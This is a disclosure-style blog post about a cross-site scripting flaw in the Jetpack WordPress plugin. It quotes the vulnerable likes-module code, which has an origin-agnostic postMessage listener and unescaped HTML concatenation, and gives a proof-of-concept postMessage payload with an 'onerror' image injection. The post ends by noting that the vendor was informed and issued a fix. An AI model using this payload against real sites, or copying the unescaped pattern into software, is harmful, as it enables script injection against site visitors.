Jetpack, how to supercharge your WP blog with a XSS
- 11 minsWordpress is the commonly used blog framework/platform, indeed, if a user needs to be ready in short times or just want to handle his own blog can setup a wordpress intance in few minutes.
Charging WP
Wordpress itself provides a bunch of recommended plugins. The first one in the list is Jetpack (owned by Automattic). Jetpack is an all-in-one solutions to boost traffic, performance and protection… or, at least, it should be.
The `Likes Module´
Jetpack, as said, has some useful modules. One of them is the likes module. This one shows Wordpress users that put a like on the post and let them collect and organize blog articles on their own wp.com account. If enabled, the plugin add a JS postMessage listener for a likesMessage event.
pm.bind( 'likesMessage', function(e) { JetpackLikesMessageListener(e); } );
The main point is that this handler accept messages from any origin domain. Let’s give a look at JetpackLikesMessageListener function.
function JetpackLikesMessageListener( event ) {
if ( 'undefined' === typeof event.event ) {
return;
}
if ( 'masterReady' === event.event ) {
jQuery( document ).ready( function() {
jetpackLikesMasterReady = true;
var stylesData = {
event: 'injectStyles'
},
$sdTextColor = jQuery( '.sd-text-color' ),
$sdLinkColor = jQuery( '.sd-link-color' );
if ( jQuery( 'iframe.admin-bar-likes-widget' ).length > 0 ) {
JetpackLikespostMessage( { event: 'adminBarEnabled' }, window.frames[ 'likes-master' ] );
stylesData.adminBarStyles = {
background: jQuery( '#wpadminbar .quicklinks li#wp-admin-bar-wpl-like > a' ).css( 'background' ),
isRtl: ( 'rtl' === jQuery( '#wpadminbar' ).css( 'direction' ) )
};
}
if ( ! window.addEventListener ) {
jQuery( '#wp-admin-bar-admin-bar-likes-widget' ).hide();
}
stylesData.textStyles = {
color: $sdTextColor.css( 'color' ),
fontFamily: $sdTextColor.css( 'font-family' ),
fontSize: $sdTextColor.css( 'font-size' ),
direction: $sdTextColor.css( 'direction' ),
fontWeight: $sdTextColor.css( 'font-weight' ),
fontStyle: $sdTextColor.css( 'font-style' ),
textDecoration: $sdTextColor.css('text-decoration')
};
stylesData.linkStyles = {
color: $sdLinkColor.css('color'),
fontFamily: $sdLinkColor.css('font-family'),
fontSize: $sdLinkColor.css('font-size'),
textDecoration: $sdLinkColor.css('text-decoration'),
fontWeight: $sdLinkColor.css( 'font-weight' ),
fontStyle: $sdLinkColor.css( 'font-style' )
};
JetpackLikespostMessage( stylesData, window.frames[ 'likes-master' ] );
JetpackLikesBatchHandler();
jQuery( document ).on( 'inview', 'div.jetpack-likes-widget-unloaded', function() {
jetpackLikesWidgetQueue.push( this.id );
});
});
}
if ( 'showLikeWidget' === event.event ) {
jQuery( '#' + event.id + ' .post-likes-widget-placeholder' ).fadeOut( 'fast', function() {
jQuery( '#' + event.id + ' .post-likes-widget' ).fadeIn( 'fast', function() {
JetpackLikespostMessage( { event: 'likeWidgetDisplayed', blog_id: event.blog_id, post_id: event.post_id, obj_id: event.obj_id }, window.frames['likes-master'] );
});
});
}
if ( 'clickReblogFlair' === event.event ) {
wpcom_reblog.toggle_reblog_box_flair( event.obj_id );
}
if ( 'showOtherGravatars' === event.event ) {
var $container = jQuery( '#likes-other-gravatars' ),
$list = $container.find( 'ul' ),
offset, rowLength, height, scrollbarWidth;
$container.hide();
$list.html( '' );
$container.find( '.likes-text span' ).text( event.total );
jQuery.each( event.likers, function( i, liker ) {
$list.append( '<li class="' + liker.css_class + '"><a href="' + liker.profile_URL + '" class="wpl-liker" rel="nofollow" target="_parent"><img src="' + liker.avatar_URL + '" alt="' + liker.name + '" width="30" height="30" style="padding-right: 3px;" /></a></li>');
} );
offset = jQuery( '[name=\'' + event.parent + '\']' ).offset();
$container.css( 'left', offset.left + event.position.left - 10 + 'px' );
$container.css( 'top', offset.top + event.position.top - 33 + 'px' );
rowLength = Math.floor( event.width / 37 );
height = ( Math.ceil( event.likers.length / rowLength ) * 37 ) + 13;
if ( height > 204 ) {
height = 204;
}
$container.css( 'height', height + 'px' );
$container.css( 'width', rowLength * 37 - 7 + 'px' );
$list.css( 'width', rowLength * 37 + 'px' );
$container.fadeIn( 'slow' );
scrollbarWidth = $list[0].offsetWidth - $list[0].clientWidth;
if ( scrollbarWidth > 0 ) {
$container.width( $container.width() + scrollbarWidth );
$list.width( $list.width() + scrollbarWidth );
}
}
}
What I immediately noticed is this code snippet
...
$list.html( '' );
$container.find( '.likes-text span' ).text( event.total );
jQuery.each( event.likers, function( i, liker ) {
$list.append( '<li class="' + liker.css_class + '"><a href="' + liker.profile_URL + '" class="wpl-liker" rel="nofollow" target="_parent"><img src="' + liker.avatar_URL + '" alt="' + liker.name + '" width="30" height="30" style="padding-right: 3px;" /></a></li>');
} );
...
It seems that all liker properties are not sanitized or escaped before use. This allow to embed the most commonly used XSS payload ”><img src=x onerror=code> and trig some js code.
Engine On
Ok, to reach the target we’ve to post a custom js object which is handled firstly from the common listener dispatcher and then from the JetpackLikesMessageListener.
_dispatch: function(e) {
//console.log("$.pm.dispatch", e, this);
try {
var msg = JSON.parse(e.data);
} catch (ex) {
//console.warn("postmessage data invalid json: ", ex); //message wasn't meant for pm
return;
}
if (!msg.type) {
//console.warn("postmessage message type required"); //message wasn't meant for pm
return;
}
var cbs = pm.data("callbacks.postmessage") || {}
, cb = cbs[msg.type];
if (cb) {
cb(msg.data);
} else {
var l = pm.data("listeners.postmessage") || {};
var fns = l[msg.type] || [];
for (var i = 0, len = fns.length; i < len; i++) {
var o = fns[i];
if (o.origin && o.origin !== '*' && e.origin !== o.origin) {
console.warn("postmessage message origin mismatch", e.origin, o.origin);
if (msg.errback) {
// notify post message errback
var error = {
message: "postmessage origin mismatch",
origin: [e.origin, o.origin]
};
pm.send({
target: e.source,
data: error,
type: msg.errback
});
}
continue;
}
function sendReply(data) {
if (msg.callback) {
pm.send({
target: e.source,
data: data,
type: msg.callback
});
}
}
try {
if (o.callback) {
o.fn(msg.data, sendReply, e);
} else {
sendReply(o.fn(msg.data, e));
}
} catch (ex) {
if (msg.errback) {
// notify post message errback
pm.send({
target: e.source,
data: ex,
type: msg.errback
});
} else {
throw ex;
}
}
}
;
}
}
So we’ve to post an object with type and data properties where the data one contains event property and the likers one. Our final code will looks like the following one.
// load the target page
...
target.postMessage(
JSON.stringify({
type: 'likesMessage',
data: {
event:'showOtherGravatars',
likers: [
{
css_class: '"><img src=x onerror=alert(0)>'
}
]
}
})
)
...
Great team === great results
Once found, I informed the vendor through h1 that immediately triaged my report and pushed out a fix in a short time. The first patch has only an origin check so I suggested them to apply a check for profile_URL protocol too.